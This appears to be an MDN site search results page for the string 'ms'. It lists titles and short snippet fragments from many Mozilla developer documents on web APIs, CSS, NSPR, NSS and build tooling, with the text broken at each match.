ms operating system processor status windows xp x86 supported, acceptance and performance tests automated in buildbot mac os x 10.4 x86 supported, acceptance and performance tests automated in buildbot linux - ubuntu 8.0.4 x86 supported, acceptance and performance tests automated in buildbot windows mobile (pocket pc 5.0) armv4t supported, acceptance and performance tests automated in buildbot raw image (no os) armv5 supported, acceptance and performance tests not done linux (nokia n810) armv5 supported, acceptance and performance tests not done current build st...
...use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-tracing tamarin-tracing building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (mmgc), and create a standalone executable, av
mshell, for executing files in the abc file format.
... running av
mshell without any arguments will list the available options.
...And 6 more matches
Audio for Web games - Game development
this article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platfor
ms as possible.
... mobile audio caveats by far the most difficult platfor
ms to provide web audio support for are mobile platfor
ms.
... unfortunately these are also the platfor
ms that people often use to play games.
...And 6 more matches
Plug-in Development Overview - Gecko Plugin API Reference
for more information about mime types, see these mime rfcs: rfc-2045: "multipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "multipurpose internet mail extensions (mime) part two: media types" rfc-4288: "media type specifications and registration procedures" there are some variations to how plug-ins are handled on different platfor
ms.
... the following sections describe platform-specific discovery and registration:
ms windows unix mac os x
ms windows on windows, plug-ins are found according to the section how gecko finds plug-ins.
... sending and receiving strea
ms strea
ms are objects that represent urls and the data they contain.
...And 6 more matches
What is accessibility? - Learn web development
you might also think of accessibility as treating everyone the same, and giving them equal opportunities, no matter what their ability or circu
mstances.
...most browsers and operating syste
ms these days have zoom capabilities.
... in ter
ms of statistics, the world health organization estimates that "285 million people are estimated to be visually impaired worldwide: 39 million are blind and 246 have low vision." (see visual impairment and blindness).
...And 6 more matches
Responsive design - Learn web development
as mobile devices became more powerful and able to display full websites, this was frustrating to mobile users who found the
mselves trapped in the site's mobile version and unable to access information they knew was on the full-featured desktop version of the site.
...in 2004 cameron ada
ms wrote a post entitled resolution dependent layout, describing a method of creating a design that could adapt to different screen resolutions.
...media queries enable the type of layout switch that cameron ada
ms had previously explored using javascript, using only css.
...And 6 more matches
Supporting older browsers - Learn web development
every website is different in ter
ms of target audience.
...a floated item that becomes a grid item loses the float behaviour, which means that by turning the wrapper into a grid container, the floated ite
ms become grid ite
ms.
... float and clear as shown above, the float and clear properties cease to affect the layout if floated or cleared ite
ms become flex or grid ite
ms.
...And 6 more matches
Sending form data - Learn web development
previous overview: for
ms once the form data has been validated on the client-side, it is okay to submit the form.
...it's more common to use one of the many high quality frameworks that make handling for
ms easier, such as: django for python (a bit more heavyweight than flask, but with more tools and options).
... it's worth noting that even using these frameworks, working with for
ms isn't necessarily easy.
...And 6 more matches
Working with Svelte stores - Learn web development
'svelte' let alertcontent = '' const unsubscribe = alert.subscribe(value => alertcontent = value) ondestroy(unsubscribe) </script> {#if alertcontent} <div on:click={() => alertcontent = ''}> <p>{ alertcontent }</p> </div> {/if} <style> div { position: fixed; cursor: pointer; margin-right: 1.5rem; margin-left: 1.5rem; margin-top: 1rem; right: 0; display: flex; align-ite
ms: center; border-radius: 0.2rem; background-color: #565656; color: #fff; font-size: 0.875rem; font-weight: 700; padding: 0.5rem 1.4rem; font-size: 1.5rem; z-index: 100; opacity: 95%; } div p { color: #fff; } div svg { height: 1.6rem; fill: currentcolor; width: 1.4rem; margin-right: 0.5rem; } </style> let's walk through this piece of code in detail.
...in simple ter
ms, you just prefix the store with the $ sign and svelte will generate the code to make it reactive automatically.
... update the <script> section of your alert.svelte component like so: <script> import { ondestroy } from 'svelte' import { alert } from '../stores.js' export let
ms = 3000 let visible let timeout const onmessagechange = (message,
ms) => { cleartimeout(timeout) if (!message) { // hide alert if message is empty visible = false } else { visible = true // show alert if (
ms > 0) timeout = settimeout(() => visible = false,
ms) // and hide it after
ms milliseconds } ...
...And 6 more matches
Focus management with Vue refs - Learn web development
you should see a focus outline on the input for adding new to-do ite
ms.
...this see
ms weird.
... handling focus when deleting to-do ite
ms there's one more place we need to consider focus management: when a user deletes a to-do.
...And 6 more matches
Introduction to cross browser testing - Learn web development
overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of proble
ms you'll encounter?", and "what are the main approaches for testing, identifying, and fixing proble
ms?" prerequisites: familiarity with the core html, css, and javascript languages.
... in later articles, we'll explore common cross browser proble
ms, and look at solutions to those.
... workflows for cross browser testing all of this cross browser testing business may sound time consuming and scary, but it needn't be — you just need to plan carefully for it, and make sure you do enough testing in the right places to make sure you don't run into unexpected proble
ms.
...And 6 more matches
Fonts for Mozilla 2.0's MathML engine
on most linux distributions and similar open source platfor
ms, you can install math fonts (stix, asana or mathjax fonts) from your package manager or get them from this zip archive.
... on android, firefox os and other platfor
ms where the instructions above do not work: install the mathml-fonts add-on.
...in general, if the necessary glyphs are not available on the system then mozilla tries to stretch symbols using scale transfor
ms, but that may result in a less pleasant rendering.
...And 6 more matches
TimerFirings logging
-991946880[7f46c365ba00]: [6775] fn timer (slack 100
ms): layeractivitytracker -991946880[7f46c365ba00]: [6775] fn timer (one_shot 250
ms): presshell::spaintsuppressioncallback -991946880[7f46c365ba00]: [6775] fn timer (one_shot 160
ms): nsbrowserstatusfilter::timeouthandler -991946880[7f46c365ba00]: [6775] iface timer (one_shot 200
ms): 7f46964d7f80 -1340643584[7f46c365ec00]: [6775] obs timer (slack 1000
ms): 7f46a95a0200 each lin...
... -991946880[7f46c365ba00]: [6775] fn timer (one_shot 0
ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100
ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100
ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 these js timers are annotated with [content] and show the javascript source location where they were created.
... 2082435840[100445640]: [81190] fn timer (one_shot 8000
ms): [from dladdr] gfxfontinfoloader::delayedstartcallback(nsitimer*, void*) second, on linux the code uses dladdr to get the symbol library and address, which can be post-processed by tools/rb/fix_stacks.py.
...And 6 more matches
About NSPR
history a good portion of the library's purpose, and perhaps the primary purpose in the gromit environment, was to provide the underpinnings of the java vm, more or less mapping the sys layer that sun defined for the porting of the java vm to various platfor
ms.
...the operating syste
ms provide everything from no concept of threading at all up to and including sophisticated, scalable and efficient implementations.
... nspr makes as much use of what the syste
ms offer as it can.
...And 6 more matches
Introduction to NSPR
it's usually not necessary to create a global thread explicitly unless you are planning to port your code only to platfor
ms that provide threading services with which you are familiar or unless the thread will be executing code that might directly call blocking os functions.
... setting thread priorities the host operating syste
ms supported by nspr differ widely in the mechanis
ms they use to support thread priorities.
...however, because of the multiple strategies to provide execution vehicles for threads on various host platfor
ms, priorities are not a clearly defined abstraction in nspr.
...And 6 more matches
NSS_3.12.3_release_notes.html
the tar.gz or zip file expands to an nss-3.12.3 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test progra
ms you also need to download the nspr 4.7.4 binary distributions to get the nspr 4.7.4 header files and shared libraries, which nss 3.12.3 requires.
... most of these changes should cause no proble
ms for nss users, but in some cases, some customers' software, hardware and/or certificates may be dependent on the old behaviors, and may have difficulty with the new behaviors.
... nss_allow_weak_signature_alg boolean (any non-empty value to enable) enables the use of md2 and md4 hash algorith
ms inside signatures.
...And 6 more matches
nsICryptoHash
the hash algorith
ms supported are md2, md5, sha-1, sha-256, sha-384, and sha-512.
...uced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm); void initwithstring(in acstring aalgorithm); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefro
mstream(in nsiinputstream astream, in unsigned long alen); constants hash algorith
ms these constants are used by the init() method to indicate which hashing function to use.
...must be one of the hash algorith
ms.
...And 6 more matches
DB Views (message lists)
the thread pane (aka message list) is driven by classes that implement nsi
msgdbview and inherit from ns
msgdbview.
... these are the main view classes: ns
msgthreadeddbview - (implementation) ns
msgsearchdbview - (implementation) ns
msgquicksearchdbview - (implementation) ns
msgxfvirtualfolderdbview - (implementation) ns
msggroupview - (implementation) usually, a view object has parallel arrays, which map directly to lines in the message list: m_keys message header key m_flags 32 bits, combination of message header flags and view-only flags (e.g., collapsed) m_level the indentation level when in threaded mode.
... m_folders cross-folder views only (ns
msgsearchdbview and its descendant, ns
msgxfvirtualfolderdbview) most of the time, the thread pane is driven by an ns
msgthreadeddbview object (even when we're in a flat sort).
...And 6 more matches
Using the Multiple Accounts API
by alec flett alecf@flett.org structure servers identities storage creating new accounts smtp servers appendix a: listing of all preferences and properties structure the account system consists of: the account manager (nsi
msgaccountmanager): there is a single account manager in the the client, which maintains the list of accounts, servers, etc.
... accounts (nsi
msgaccount): an account consists of a single incoming server, and one or more identities.
... incoming servers (nsi
msgincomingserver): an incoming server represents a remote message store such as a pop, imap, or nntp server.
...And 6 more matches
Drawing and Event Handling - Plugins
on
ms windows, note that the coordinates for the window rectangle are in twips format.
...
ms windows and unix for windowed plug-ins on
ms windows and unix, the window->window field is a handle to a subwindow of the netscape window hierarchy.
... unix and
ms windows the queried information is returned in the variable parameter.
...And 6 more matches
Plug-in Development Overview - Plugins
for more information about mime types, see these mime rfcs: rfc-2045: "multipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "multipurpose internet mail extensions (mime) part two: media types" rfc-4288: "media type specifications and registration procedures" there are some variations to how plug-ins are handled on different platfor
ms.
... the following sections describe platform-specific discovery and registration:
ms windows unix mac os x
ms windows on windows, plug-ins are found according to the section how gecko finds plug-ins.
... sending and receiving strea
ms strea
ms are objects that represent urls and the data they contain.
...And 6 more matches
HTMLTableElement - Web APIs
htmltableelement.align is a do
mstring containing an enumerated value reflecting the align attribute.
... htmltableelement.bgcolor is a do
mstring containing the background color of the cells.
... htmltableelement.border is a do
mstring containing the width in pixels of the border of the table.
...And 6 more matches
HTMLVideoElement - Web APIs
htmlvideoelement.height is a do
mstring that reflects the height html attribute, which specifies the height of the display area, in css pixels.
... htmlvideoelement.poster is a do
mstring that reflects the poster html attribute, which specifies an image to show while no video data is available.
... htmlvideoelement.width is a do
mstring that reflects the width html attribute, which specifies the width of the display area, in css pixels.
...And 6 more matches
HTML Drag and Drop API - Web APIs
datatransfer objects include the drag event's state, such as the type of drag being done (like copy or move), the drag's data (one or more ite
ms), and the mime type of each drag item.
... datatransfer objects also have methods to add or remove ite
ms to the drag's data.
...(firefox supports some gecko-specific extensions to the datatransfer object, but those extensions will only work on firefox.) each datatransfer object contains an ite
ms property, which is a list of datatransferitem objects.
...And 6 more matches
IDBFactory - Web APIs
window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.
msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
... // moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.
msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.
msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { console.error("error loading database."); }; dbopenrequest.onsuccess = function(event) { console.info("database initialised."); // store the result of opening the database in the db variable.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidbfactorychrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...And 6 more matches
RTCIceCandidate - Web APIs
properties candidate read only a do
mstring representing the transport address for the candidate that can be used for connectivity checks.
... component read only a do
mstring which indicates whether the candidate is an rtp or an rtcp candidate; its value is either "rtp" or "rtcp", and is derived from the "component-id" field in the candidate a-line string.
... foundation read only returns a do
mstring containing a unique identifier that is the same for any candidates of the same type, share the same base (the address from which the ice agent sent the candidate), and come from the same stun server.
...And 6 more matches
RTCStats - Web APIs
for example, statistics about a received rtp stream are represented by rtcreceivedrtpstrea
mstats.
... properties id a do
mstring which uniquely identifies the object which was inspected to produce this object based on rtcstats.
... type a do
mstring indicating the type of statistics the object contains, taken from the enum type rtcstatstype.
...And 6 more matches
RTCStatsReport - Web APIs
calling getstats() on an rtcpeerconnection lets you specify whether you wish to obtain statistics for outbound, inbound, or all strea
ms on the connection.
... properties common to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, which provides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a do
mstring which uniquely identifies the object which was inspected to produce this object based on rtcstats.
... type a do
mstring indicating the type of statistics the object contains, taken from the enum type rtcstatstype.
...And 6 more matches
SVGLengthList - Web APIs
h initialize(in svglength newitem) svglength getitem(in unsigned long index) svglength insertitembefore(in svglength newitem, in unsigned long index) svglength replaceitem(in svglength newitem, in unsigned long index) svglength removeitem(in unsigned long index) svglength appenditem(in svglength newitem) properties readonly unsigned long numberofite
ms readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofite
ms unsigned long the number of ite
ms in the list.
... length unsigned long the number of ite
ms in the list.
... methods name & arguments return description clear() void clears all existing current ite
ms from the list, with the result being an empty list.
...And 6 more matches
SVGNumberList - Web APIs
lize(in svgnumber newitem) svgnumber getitem(in unsigned long index) svgnumber insertitembefore(in svgnumber newitem, in unsigned long index) svgnumber replaceitem(in svgnumber newitem, in unsigned long index) svgnumber removeitem(in unsigned long index) svgnumber appenditem(in svgnumber newitem) properties readonly unsigned long numberofite
ms readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofite
ms unsigned long the number of ite
ms in the list.
... length unsigned long the number of ite
ms in the list.
... methods name & arguments return description clear() void clears all existing current ite
ms from the list, with the result being an empty list.
...And 6 more matches
SubtleCrypto.unwrapKey() - Web APIs
unwrapalgo is an object specifying the algorithm to be used to encrypt the exported key, and any extra parameters as required: to use rsa-oaep, pass an rsaoaeppara
ms object.
... to use aes-ctr, pass an aesctrpara
ms object.
... to use aes-cbc, pass an aescbcpara
ms object.
...And 6 more matches
WebRTC API - Web APIs
adapter.js uses shi
ms and polyfills to smooth over the differences among the webrtc implementations across the environments supporting it.
... webrtc concepts and usage webrtc serves multiple purposes; together with the media capture and strea
ms api, they provide powerful multimedia capabilities to the web, including support for audio and video conferencing, file exchange, screen sharing, identity management, and interfacing with legacy telephone syste
ms including support for sending dtmf (touch-tone dialing) signals.
...once a connection has been established and opened using rtcpeerconnection, media strea
ms (mediastrea
ms) and/or data channels (rtcdatachannels) can be added to the connection.
...And 6 more matches
WebRTC Statistics API - Web APIs
rtccertificatestats rtcstats codec statistics about a specific codec being used by strea
ms being sent or received by this connection.
... rtccodecstats rtcstats csrc statistics for a single contributing source (csrc) that contributed to one of the connection's inbound rtp strea
ms.
... rtciceserverstats rtcstats inbound-rtp statistics describing the state of one of the connection's inbound data strea
ms.
...And 6 more matches
Lighting a WebXR setting - Web APIs
this is the foundation for much of what's involved in shading a scene, and comes into play in ter
ms of how different types of light source behave.
... specular light specular light is the light that makes up the highlights on reflective objects, such as ge
ms, eyes, shiny cups and plates, and the like.
...the rate at which the brightness of a point light falls off is called attenuation, and is a configurable feature of the light source in webgl and other lighting syste
ms.
...And 6 more matches
window.location - Web APIs
though window.location is a read-only location object, you can also assign a do
mstring to it.
...duis malesuada accu
msan dui, at fringilla mauris bibendum quis.
...quisque accu
msan faucibus erat, vel varius tortor ultricies ac.
...And 6 more matches
Window.open() - Web APIs
syntax var window = window.open(url, windowname, [windowfeatures]); parameters url a do
mstring indicating the url of the resource to be loaded.
... windowname optional a do
mstring specifying the name of the browsing context (window, <iframe> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname.
... windowfeatures optional a do
mstring containing a comma-separated list of window features given with their corresponding values in the form "name=value".
...And 6 more matches
ARIA: listbox role - Accessibility
the listbox role is used for lists from which a user may select one or more ite
ms which are static and, unlike html <select> elements, may contain images.
... description the listbox role is used to identify an element that creates a list from which a user may select one or more static ite
ms, similar to the html <select> element.
... it is highly recommended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if multiple ite
ms can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide this functionality for you for free.
...And 6 more matches
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
the two browsers you should still keep in mind for cross-browser compatibility are: internet explorer 10, which implemented the display: flexbox version of the specification with the -
ms- prefix.
... .wrapper { display: -webkit-box; display: -webkit-flex; display: -
ms-flexbox; display: flex; } autoprefixer online is a useful way to see which prefixes are recommended, depending on how many versions you wish to go back with browser support.
... floated ite
ms “float and clear do not create floating or clearance of flex item, and do not take it out-of-flow.” - 3.
...And 6 more matches
align-self - CSS: Cascading Style Sheets
the align-self css property overrides a grid or flex item's align-ite
ms value.
...end */ align-self: self-start; /* align the item flush at the start */ align-self: self-end; /* align the item flush at the end */ align-self: flex-start; /* put the flex item at the start */ align-self: flex-end; /* put the flex item at the end */ /* baseline alignment */ align-self: baseline; align-self: first baseline; align-self: last baseline; align-self: stretch; /* stretch 'auto'-sized ite
ms to fit the container */ /* overflow alignment */ align-self: safe center; align-self: unsafe center; /* global values */ align-self: inherit; align-self: initial; align-self: unset; values auto computes to the parent's align-ite
ms value.
... for flex ite
ms, the keyword behaves as stretch.
...And 6 more matches
<time> - CSS: Cascading Style Sheets
in other words, 0 is invalid and does not represent 0s or 0
ms.
...
ms represents a time in milliseconds.
... examples: 0
ms, 150.25
ms, -60000
ms.
...And 6 more matches
Event reference
drag & drop events event name fired when drag an element or text selection is being dragged (fired continuously every 350
ms).
... dragover an element or text selection is being dragged over a valid drop target (fired continuously every 350
ms).
...mechange levelchange call events alerting busy callschanged cfstatechange connecting dialing disconnected disconnecting error held, holding incoming resuming statechange voicechange sensor events compassneedscalibration devicemotion deviceorientation orientationchange smartcard events icccardlockerror iccinfochange smartcard-insert smartcard-remove stkcommand stksessionend cardstatechange s
ms and ussd events delivered received sent ussdreceived frame events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserlocationchange mozbrowserloadend mozbrowserloadstart mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange dom mutation events domattributenamechanged domattrmodified domcharacterdatamodified domcontentl...
...And 6 more matches
Index - Developer guides
2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, foru
ms, or other communities related to ajax, please link to them here.
... 6 audio and video delivery audio, guide, html, html5, media, video whether we are dealing with pre-recorded audio files or live strea
ms, the mechanism for making them available through the browser's <audio> and <video> elements remains pretty much the same.
...the player controls the
mselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article.
...And 6 more matches
itemtype - HTML: Hypertext Markup Language
ite
mscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active.
... the itemtype attribute can only be specified on elements which have an ite
mscope attribute specified.
... the itemid attribute can only be specified on elements which have both an ite
mscope attribute and an itemtype attribute specified.
...And 6 more matches
Browser detection using the user agent - HTTP
look, or ask, in specialized foru
ms: you're unlikely to be the first to hit this problem.
...if the problem see
ms uncommon, it's worth checking if this bug has been reported to the browser vendor via their bug tracking system (mozilla; webkit; blink; opera).
... proble
ms like these can be avoided by testing for support of the feature itself instead: var islookbehindsupported = false; try { new regexp("(?<=)"); islookbehindsupported = true; } catch (err) { // if the agent doesn't support lookbehinds, the attempted // creation of a regexp object using that syntax throws and // islookbehindsupported remains false.
...And 6 more matches
HTTP Index - HTTP
over the years, algorith
ms also got more efficient, and new ones are supported by clients and servers.
...using content negotiation, the server then selects one of the proposals, uses it and infor
ms the client of its choice with the content-type response header.
...using content negotiation, the server selects one of the proposals, uses it and infor
ms the client of its choice with the content-encoding response header.
...And 6 more matches
Finding window handles - Archive of obsolete content
note: starting in gecko 17.0, nsibasewindow.nativehandle provides the handle (hwnd [widows], gdkwindow* [linux], nswindow* [macosx],...) of a top-level window, for all platefor
ms, as a string.
... when working on windows platfor
ms, many apis and frameworks require a window handle (hwnd type).
... recall that nsibasewindow -> nativehandle returns the following in the different operating syste
ms: windows - hwnd mac os x - nswindow* linux - gdkwindow* (it will be gdkwindow* no matter what desktop/window manager) is in use, for explanation why see the article: standard os libraries - unix section) windows components.utils.import('resource://gre/modules/services.jsm'); var browserwindow = services.wm.getmostrecentwindow('navigator:browser'); if (!browserwindow) { throw new error...
...And 5 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
the information page retrieved must currently be totally valid xhtml, including being delivered with the mime type application/xhtml+xml (important: see proble
ms section) you may include %app_locale% in your updateinfourl if you want to have locale information included in the url -- this allows you to customize the text based on the user's locale.
... formatting prior to firefox 4 prior to firefox 4 you could only use the following tags, any other tags have the
mselves and their contents completely stripped: h1, h2 and h3 for general headings p for paragraphs ul and ol for lists.
...(note the button caption is changed to hide information) proble
ms you may encounter a problem where the content will not be displayed.
...And 5 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
components developed in line with that framework are referred to as xpcom components, and sometimes the components are simply referred to as xpco
ms.
...interfaces names usually have the for
ms nsixxx.
...it's important to know whether a component should be created with getservice() or createinstance(), because using one instead of the other can cause proble
ms.
...And 5 more matches
Message Summary Database - Archive of obsolete content
the mail summary files (.
msf) are used to store summary information about messages and threads in a folder, and some meta information about the folder.
... nsi
msgdatabase the main access point to the summary information is nsi
msgdatabase.
... nsi
msgfolder has a method to get the database for a folder.
...And 5 more matches
Element Positioning - Archive of obsolete content
example 2 the second button will be displayed with a height of ten pixels and a width of 100 e
ms (an em is the size of a character in the current font).
... example 5 the text input is flexible but will never grow to be larger than 10 e
ms.
... you will often want to use e
ms when specifying sizes with text in them.
...And 5 more matches
Tree Selection - Archive of obsolete content
« previousnext » the section will describe how to get and set the selected ite
ms in a tree.
... getting the selected tree ite
ms each item in a tree (that corresponds to treeitem element, if using content tree view) may be selected individually.
...if the user holds down the cursor key to rapidly scroll through the ite
ms, the event handler is not called until the user stops.
...And 5 more matches
prefwindow - Archive of obsolete content
on platfor
ms where the convention is to apply changes immediately, the preferences are adjusted as soon as the user interface element is changed.
... on other platfor
ms, the preferences are not applied until the dialog is closed.
...this one can be safely omitted in xulrunner-based applications but you can override the default behavior (true for mac os x and false for other platfor
ms) setting it.
...And 5 more matches
Archived Mozilla and build documentation - Archive of obsolete content
calicalendarviewcontroller a calicalendarviewcontroller provides a way for a calicalendarview to create, modify, and delete ite
ms.
... mozprocess mozprocess provides python process management via an operating system and platform transparent interface to mozilla platfor
ms of interest.
... mozprocess ai
ms to provide the ability to robustly terminate a process (by timeout or otherwise), along with any child processes, on windows, os x, and linux.
...And 5 more matches
NPStream - Archive of obsolete content
can be zero for strea
ms of unknown length, such as strea
ms returned from older ftp servers or generated "on the fly" by cgi scripts.
... notifydata used only for strea
ms generated in response to a npn_geturlnotify or npn_posturlnotify request.
... for these strea
ms, notifydata is set to the value of the notifydata parameter to npn_geturlnotify or npn_posturlnotify.
...And 5 more matches
Gecko FAQ - Gecko Redirect 1
here are some links to lists of reported bugs related to the standards mentioned above; be aware that these raw lists of open in-process bugs will inevitably include some duplicate, out of date, unreproducible, invalid, and incorrectly tagged reports: the links the
mselves are probably outdated too.
... content developers are sick and tired of developing and testing every single web page multiple times in order to support the different, incompatible, proprietary do
ms of browsers from different vendors.
... gecko is reusable on all platfor
ms thanks to xpcom, a subset of com that works across platfor
ms.
...And 5 more matches
CSS values and units - Learn web development
the ter
ms are basically interchangeable — when you see something in css referred to as a data type, it is really just a fancy way of saying value.
... e
ms and re
ms em and rem are the two relative lengths you are likely to encounter most frequently when sizing anything from boxes to text.
...the only difference is that the first has a class of e
ms and the second a class of re
ms.
...And 5 more matches
UI pseudo-classes - Learn web development
previous overview: for
ms next in the previous articles, we covered the styling of various form controls, in a general manner.
...in this article, we will explore in detail the different ui pseudo-classes available to us in modern browsers for styling for
ms in different states.
... objective: to understand what parts of for
ms are hard to style, and why; to learn what can be done to customize them.
...And 5 more matches
Front-end web developer - Learn web development
completing the assessments confir
ms that you are ready to move on to the next module.
... completing the assessments confir
ms that you are ready to move on to the next module.
... completing the assessments confir
ms that you are ready to move on to the next module.
...And 5 more matches
From object to iframe — other embedding technologies - Learn web development
objective: to learn how to embed ite
ms into web pages using <object>, <embed>, and <iframe>, like flash movies and other webpages.
...they did however have many proble
ms, which far outweighed any positives as network speeds got faster, so you don't see them being used anymore.
...they have since fallen out of fashion due to many proble
ms, including accessibility, security, file size, and more; these days most mobile devices don't support such plugins anymore, and desktop support is on the way out.
...And 5 more matches
Componentizing our Svelte app - Learn web development
some people prefer an intuitive approach and start looking at the markup and drawing boxes around every component and subcomponent that see
ms to have its own logic.
... filterbutton.svelte: the all, active, and completed buttons that allow you to apply filters to the displayed todo ite
ms.
... todosstatus.svelte: the "x out of y ite
ms completed" heading.
...And 5 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
find the <h2> heading with an id of list-heading and replace the hardcoded number of active and completed tasks with dynamic expressions: <h2 id="list-heading">{completedtodos} out of {totaltodos} ite
ms completed</h2> go to the app, and you should see the "2 out of 3 ite
ms completed" message as before, but this time the information is coming from the todos array.
... dynamically generating the todos from the data at the moment, our displayed todo ite
ms are all static.
...svelte will use it to diff the list when data changes, rather than adding or removing ite
ms at the end, and it's a good practice to always specify one.
...And 5 more matches
Vue conditional rendering: editing existing todos - Learn web development
previous overview: client-side javascript frameworks next now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo ite
ms.
...we'll also look at adding functionality to delete todo ite
ms.
... update your <to-do-item-edit-form></to-do-item-edit-form> call to look like so: <to-do-item-edit-form v-else :id="id" :label="label" @item-edited="itemedited" @edit-cancelled="editcancelled"> </to-do-item-edit-form> updating and deleting todo ite
ms now we can toggle between the edit form and the checkbox.
...And 5 more matches
Understanding client-side JavaScript frameworks - Learn web development
we are not aiming to exhaustively teach you everything you need to know about react/reactdom, or vue, or some other specific framework; the framework tea
ms' own docs (and other resources) do that job already.
...what proble
ms do they solve for me?
... your code will be richer and more professional as a result, and you'll be able to troubleshoot proble
ms with more confidence if you understand the fundamental web platform features that the frameworks are building on top of.
...And 5 more matches
Client-side tooling overview - Learn web development
there are some extremely well-established tools that have become common "household names" amongst the development community, and new tools are being written and released every day to solve specific proble
ms.
... the modern tooling ecosystem today's modern developer tooling ecosystem is huge, so it's useful to have a broad idea of what main proble
ms the tools are solving.
... from a high-level perspective, you can put client-side tools into the following three broad categories of proble
ms to solve: safety net — tools that are useful during your code development.
...And 5 more matches
OS.File.Info
due to differences between operating syste
ms, the information available depends on the platform.
... global object os.file.info methods object to
msg(in os.file.info value) os.file.to
msg convert an instance of os.file.info to a form that can be serialized and transmitted between threads or processes.
... object to
msg( in os.file.info value ) arguments returns an object with the same fields as value but that may be serialized and transmitted between threads or processes.
...And 5 more matches
PromiseWorker.jsm
self.addeventlistener('message',
msg => worker.handlemessage(
msg)); abstractworker is a base class for the worker, and it's designed to be used by derived class, which provides above four methods (dispatch, postmessage, close, and log).
... when custom error is caught by abstractworker, to
msg method will be called to convert it into message.
... the to
msg function should return an object which has exn property, that is the property key for the from
msg function in main thread side.
...And 5 more matches
powermetrics
-i 5000 tells it to use a sample length of 5 seconds (5000
ms).
... the following is example output from such an invocation: *** sampled system activity (fri sep 4 17:15:14 2015 +1000) (5009.63
ms elapsed) *** *** running tasks *** name id cpu
ms/s user% deadlines (<2
ms, 2-5
ms) wakeups (intr, pkg idle) gpu
ms/s com.apple.terminal 293 447.66 274.83 120.35 221.74 firefox 84627 77.59 55.55 15.37 2.59 91.42 42.12 204.47 plugin-container 84628 377.22 37.18 43.91 18.56 178.65 75.85 17.29 terminal 694 9.86 79.94 0.00 0.00 4.39 2.20 ...
... com.apple.safari.searchhelper 84690 0.15 49.49 0.00 0.00 0.20 0.20 0.00 org.mozilla.firefox 482 76.56 124.34 63.47 0.00 firefox 84496 76.70 89.18 10.58 5.59 124.55 63.48 0.00 this sample was taken while the following progra
ms were running: firefox beta (single process, invoked from the mac os dock, shown in the org.mozilla.firefox coalition.) firefox nightly (multi-process, invoked from the command line, shown in the com.apple.terminal coalition.) google chrome.
...And 5 more matches
NSPR Contributor Guide
abstract: nspr accepts contributions in the form of bugfixes, new features, libraries, platform ports, documentation, test cases and other ite
ms from many sources.
...your new feature must be implemented on all platfor
ms supported by nspr.
... when you consider a new api for nspr ask yourself if your proposed feature can implement it across all platfor
ms supported by nspr.
...And 5 more matches
Enc Dec MAC Output Public Key as CSR
generates encryption/mac keys and outputs public key as certificate signing request /* this source code form is subject to the ter
ms of the mozilla public * license, v.
... pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *
msg, unsigned int
msglen) { secstatus rv = pk11_digestop(ctx,
msg,
msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); ...
